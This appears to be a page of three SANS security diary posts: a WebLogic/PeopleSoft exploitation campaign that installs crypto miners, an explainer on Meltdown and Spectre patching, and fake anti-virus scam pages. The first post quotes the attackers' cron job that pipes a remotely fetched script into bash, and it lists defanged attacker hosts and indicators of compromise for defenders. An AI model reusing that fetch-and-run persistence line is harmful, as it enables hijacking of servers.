A Story About PeopleSoft: How to Make $250k Without Leaving Home.
Yesterday, Renato published a diary about an intrusion taking advantage of a recent flaw in WebLogic. Oracle’s WebLogic is a Java EE application server [1]. PeopleSoft, another popular Oracle product can use WebLogic as a web server. PeopleSoft itself is a complex enterprise process management system. The name implies human resource functions, but the software goes way beyond simple HR features. Typically, “everything” in an organization lives in PeopleSoft [2].
As you can probably imagine, a compromise of a PeopleSoft system is pretty much a worst-case compromise for an organization.
When Renato got involved in the incident he described on Monday; he was surprised that the “only” thing he found was a crypto coin miner. An attacker would probably have been able to do a lot more damage to an organization by exfiltrating the data that lives on the system, or worse, modify it.
The Vulnerability
The vulnerability exploited, CVE-2017-10271 has a CVSS score of 9.8 (Critical) and is easily exploitable. In October 2017 Oracle released a patch as part of its quarterly Critical Patch Update.
End of December, Lian Zhang, a Chinese security researcher, released an exploit script to take advantage of the exploit. Lian's post may not be the first, but this looks like the exploit that was used in the attack discussed here, and the post appears to have started an increased interest in this flaw. Lian’s blog is talking about CVE 2017-3506, but the exploit matches CVE-2017-10271. Oracle’s April CPU patched CVE 2017-3506, but it didn’t do so completely, leaving an opening that let to CVE-2017-10271.
Either way, you could probably call it either vulnerability. The cause is as so often insecure deserialization. Oracle’s fix was to add a validate method that checks an object is passed, and if it is, then it will throw an exception. Probably the best blog I found about these two vulnerabilities and how they relate is the one by [5].
What Happened Next
Starting at the end of December first reports were published about this exploit being used to install crypto miners. We did see a couple of different URLs being used to install the miner:
hxxp://165.227.215. 25 – the base URL reported by Renato yesterday. No longer reachable
hxxp://www.viewyng. com/includes/libraries – base URL for another victim. Still reachable as of today (1/9/2018).
Hxxp://letoscribe. ru/includes – base URL observed by another victim. Still reachable as of today (1/9/2018)
The exploit will download a simple bash file that will:
- Find a working directory (/tmp, /var/tmp or ${PWD}, the current directory)
- Kill any existing miners on the system
- Create a CRON job to download the miner:
3 2,5,8,11,14,17,30 * * * curl –s \”$setupurl\” | bash” > “${cronfile}” - Create a subdirectory “.X1MUnix”
- Download the miner (either called xmrig or fs-manager)
The Miner
The miner, xmrig, is not exactly malware. It is a legit crypto coin miner for Monero. The miner comes with a configuration file showing us where the money will go that is mined using this application. Renato was able to recover one such configuration file, and the pool the miner was connecting to does show that up to this point, 611 Monero coins were mined by this user, which amounts to about $226,070 currently. The hash rate of this user of 450 KH/s would only support $31k per month so that this user may be at it for a while, or some systems were already cleaned up and are no longer participating in the effort.
.png)
Renato also recovered files from another campaign using the same vulnerability. This group opted for mining AEON instead of Monero. Even though they are achieving a similar hash rate, they only earned about $ 6k so far. Maybe they will switch to Monero after reading this.
The Victims
The exploited vulnerability affects WebLogic, but we did see some PeopleSoft servers exploited. PeopleSoft, being a very complex application, is difficult to patch and maintain. The exploit bash script will “register” new victims with the attacker’s server, and we managed to get a hold of one of the logs left behind by the attacker. The log started on January 4th and 8 am ET. It is still seeing new connections right now (January 9th 8 am ET). The last log I retrieved includes 722 IP addresses.
Based on a quick reverse DNS lookup and an ASN lookup, I found a high concentration of affected IPs at cloud providers. This isn’t a surprise since many organizations are moving their most critical data to the cloud to make it easier for the bad guys to get to it. Also, not a big surprise is the relatively high percentage of IPs in Oracle’s cloud. The exploit does attack a key Oracle component.
The victims are distributed worldwide. This isn’t a targeted attack. Once the exploit was published, anybody with limited scripting skills was able to participate in taking down WebLogic (/PeopleSoft) servers.
(image credit: Renato Marinho)
If You Are a Victim
Please DO NOT stop your incident response by removing the miner. Your server was vulnerable to an easily executed remote code execution exploit. It is very likely that more sophisticated attackers used this to gain a persistent foothold on the system. In this case, the only “persistence” we noticed was the CRON job. But there are many more, and more difficult to detect, ways to gain persistence.
Indicators of Compromise:
- High CPU Utilization
- Outbound connections to a mining pool (we observed in particular connections to hashvault.pro and these IPs: 145.239.0.84, 104.207.141.144 and 45.76.198.204. (note that some mining pools are behind proxy services like Cloudflare and these may be shared IPs. Same is true for our "Miner IP" feed [6])
- Hashes:
7153ac617df7aa6f911e361b1f0c8188ca5c142c6aaa8faa2a59b55e0b823c1c fs-manager
d7d6ed5b968858699c2f6aee6a0024a4c9574f1c2153f46940476e15194f848e xmrig-y
Acknowledgements
Thanks to our readers who helped us out with this by sharing details about this intrusion. Also thanks to Renato who wrote this up initially and provided much of the data used here. Thanks to Team Cyrmu’s IP to ASN conversion tools.
[1] http://www.oracle.com/technetwork/middleware/weblogic/overview/index.html
[2] http://www.oracle.com/us/products/applications/peoplesoft-enterprise/overview/index.html
[3] https://nvd.nist.gov/vuln/detail/CVE-2017-10271
[4] http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html
[5] https://www.anquanke.com/post/id/92003
[6] https://isc.sans.edu/api/threatlist/miner
---
Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute
STI|Twitter|
Meltdown and Spectre: clearing up the confusion
Unless you’ve been living under a rock (or on a remote island, with no Internet connection), you’ve heard about the latest vulnerabilities that impact modern processors.
I’m sure that most of our readers are scrambling in order to assess the risk, patch systems and what not, so we have decided to write a diary that will clear the confusion a bit and point out some important things that people might not be aware of.
What is this all about?
First, if you haven’t already listened to SANS’ webcast about Meltdown and Spectre by Jake Williams, I strongly suggest that you go and do that – the recording is available at https://www.youtube.com/watch?v=8FFSQwrLsfE
Jake explains everything pretty well (although I think with some minor errors about Spectre that I will try to clear below).
In a nut shell, what do these two vulnerabilities allow an attacker to do?
While I won’t go into technical details here (which are pretty complex – this was in my opinion amazing research, although the Google’s blog could have been a bit easier to read :)), here is what it boils down to:
- Meltdown allows a local, userland (unprivileged) process to read contents of any memory mapped to the process. This includes kernel memory and this is why this vulnerability is dangerous.
- Spectre allows a local, userland (unprivileged) process to read contents of memory of other processes (this is where maybe Jake’s presentation wasn’t so clear about). Update 2:
Spectre does not allow reading of kernel memory.It looks as Spectre can indeed be used to read kernel memory. Additionally, while it's maybe not 100% clear, from Google's blog post (https://googleprojectzero.blogspot.hr/2018/01/reading-privileged-memory-with-side.html) it definitely appears that this is cross-process.
There is a Spectre PoC out, however in the PoC a single process is used: a secret is set in memory as a character array and then its contents are read by exploiting the vulnerability. This made people think that it’s intra-process only (single process), but it is actually cross process memory ready (see the Spectre paper page 2, Attacks using Native Code, available at Spectre Paper).
Ok, now that we know what the vulnerabilities are about we can assess the risk: as you can see, in both cases, an attacker actually needs to run some code on the target machine to exploit these vulnerabilities.
This makes vulnerabilities highest risk for the following:
- Anything that runs untrusted code on your machine (a browser typically),
- Anything running in virtualization or clouds.
So, for a typical company, on your Domain Controller (for example), the risk is actually very, very low: since you are not running untrusted code there (hopefully), an attacker should not be able to exploit these vulnerabilities in the first place.
For a typical user, the browser presents the highest risk, but we have yet to see proof of concept code that exploits this vulnerability through JavaScript – and browser vendors have started issuing patches as well (for example, Mozilla has issued a new version of Firefox, 57.0.4, where they have decreased the precision of time sources to make attacks such as Spectre more difficult or impossible). If you run stuff as Administrator: Spectre makes no difference for you really.
In other words: the world will not end over the weekend.
What to do now?
Keep an eye on the development and patches released by vendors, but not differently than other patches.
On the contrary, pay special attention to impact of patches: there are known cases where AV programs caused BSOD on systems with the patch. This is actually a reason why Microsoft added a check for a registry key that needs to be set by the AV program to indicate that it’s compatible with the patch: if the key is not present, the patch will not be installed!
If you are installing the patch on a Windows server: be aware that besides installing the patch, a registry key needs to be added manually to enable it: https://support.microsoft.com/en-us/help/4072698/windows-server-guidance-to-protect-against-the-speculative-execution
Without this registry key nothing will happen. Microsoft presumably added this because on servers, impact to performance might be higher (so it’s up to you to take the risk … or not). Test, test, test.
The good thing with this approach is that, once you install the patch and enable the mitigations: if your system blows up you can change the registry keys and disable the mitigations. This will allow you to try out the patch. As I said: test, test, test.
Update 1: fellow handler Didier Stevens did some tests of patches on the Windows platform – as you can see on the screenshot below, the patch for the Spectre vulnerability (CVE-2017-5715) requires a firmware (microcode) update as well.
This means that, if there is no firmware update for your platform, that the patch is useless currently.
Update 3: CPU firmware (microcode updates) can certainly be delivered by the OS vendors, and there have been such cases in the past. This makes it much better for the end-users, since a BIOS update will not be required.
However, there is a down side with this approach: such microcode updates are lost when the CPU is reset or powered down. It means that they need to be applied every time the system boots up. Still, it's a viable solution.
Checking the released updates so far, it appears that RedHat, for example, has included certain microcode updates in their patches (although for only several CPU families it seems). Microsoft, on the other hand, has not done so (who knows why, and whether they will do it).
Update 1/8/2018: Some vendors have already released BIOS updates that mitigate the mentioned issues, so check their web pages (I have verified that Lenovo has released BIOS updates, and successfully installed them).
Finally, we have yet to see what other impacts these (huge) changes will have, besides reducing performance. For example, it appears that the patches will impact ability to capture RAM contents, which might further impact various forensics activities.
We are carefully monitoring everything around these vulnerabilities and will, as always, try to be your source of clear and precise information.
If you have something to add, please contact us here – especially if there are errors in the diary (or post a comment).
Fake anti-virus pages popping up like weeds
Introduction
With recent media coverage on Meltdown and Spectre, many other security issues get buried in the mix. One such issue I've run across for many months now is fake anti-virus (AV) web pages or other unwanted destinations that pop up after viewing a legitimate, but compromised, website.
Shown above: Flow chart for this activity.
Last week, with the help of @baberpervez2, I found several compromised sites leading to these fake AV pages and other unwanted destinations. They all had the same characteristics, and I documented how these compromised sites could be found through Google (link). However, that particular campaign isn't the only one pushing fake AV pages. I've run across at least one other campaign, which I've documented in this diary.
Details
Below is an example of a fake AV page as seen on a Windows host using Google Chrome. When I used Internet Explorer, I could not close the popup notifications (they just reappeared), and the browser window would not close unless I killed the process using Task Manager. This is a social engineering scheme to trick people into calling a fake tech support phone number. Once you call the number, a fake support technician will walk you through several steps to supposedly fix your computer. Eventually, you'll be asked for a credit card number to pay for this service.
Shown above: Example of a fake AV page as seen in Google Chrome.
Judging by the amount of fake AV pages I've come across over the past few months, this type of tech support scam is increasingly popular. It relies on a large pool of potential victims world-wide. IT professionals may scoff at these attempts, but using a computer is a lot like driving a car. Most people can effectively drive a car without fully knowing how it works. The same is true for most computer users. Our culture of computer use creates a ready pool of potential victims for this sort of scam.
Another key component for these campaigns is the availability of countless servers world-wide that can be compromised. Server administration is a continual job that involves frequent patching and software updates. It is incredibly easy for legitimate websites to fall behind in their security-related patches. Such servers are often compromised and used for this activity.
From these compromised sites, we see injected script that leads to a fake AV page or some other unwanted destination. What does the injected script look like? I've highlighted an example in the image below.
Shown above: An example of injected script from this campaign.
In the image above, the injected script ends with a call to a .tk domain that, in turn, leads to another .tk domain for the fake AV page. These domains frequently change, so blocking one of them is only effective for about an hour or so. These new domains usually change only a few characters from the previous ones.
Below is an example of the traffic filtered in Wireshark. This shows the compromised site, the first .tk domain, and the second .tk domain hosting a fake AV page. The fake AV page has several HTTP GET requests for associated images and other items.
Shown above: An example of the traffic filtered in Wireshark.
Final words
An example of the traffic for the above fake AV activity can be found here. This is not an isolated incident, and I expect we'll see more fake AV pages and associated tech support scams in 2018. Although we'll continue to see actual malware, I believe it will remain just as (if not more) profitable for criminals to social engineer victims into providing access to their computers and credit card information.
---
Brad Duncan
brad [at] malware-traffic-analysis.net
Comments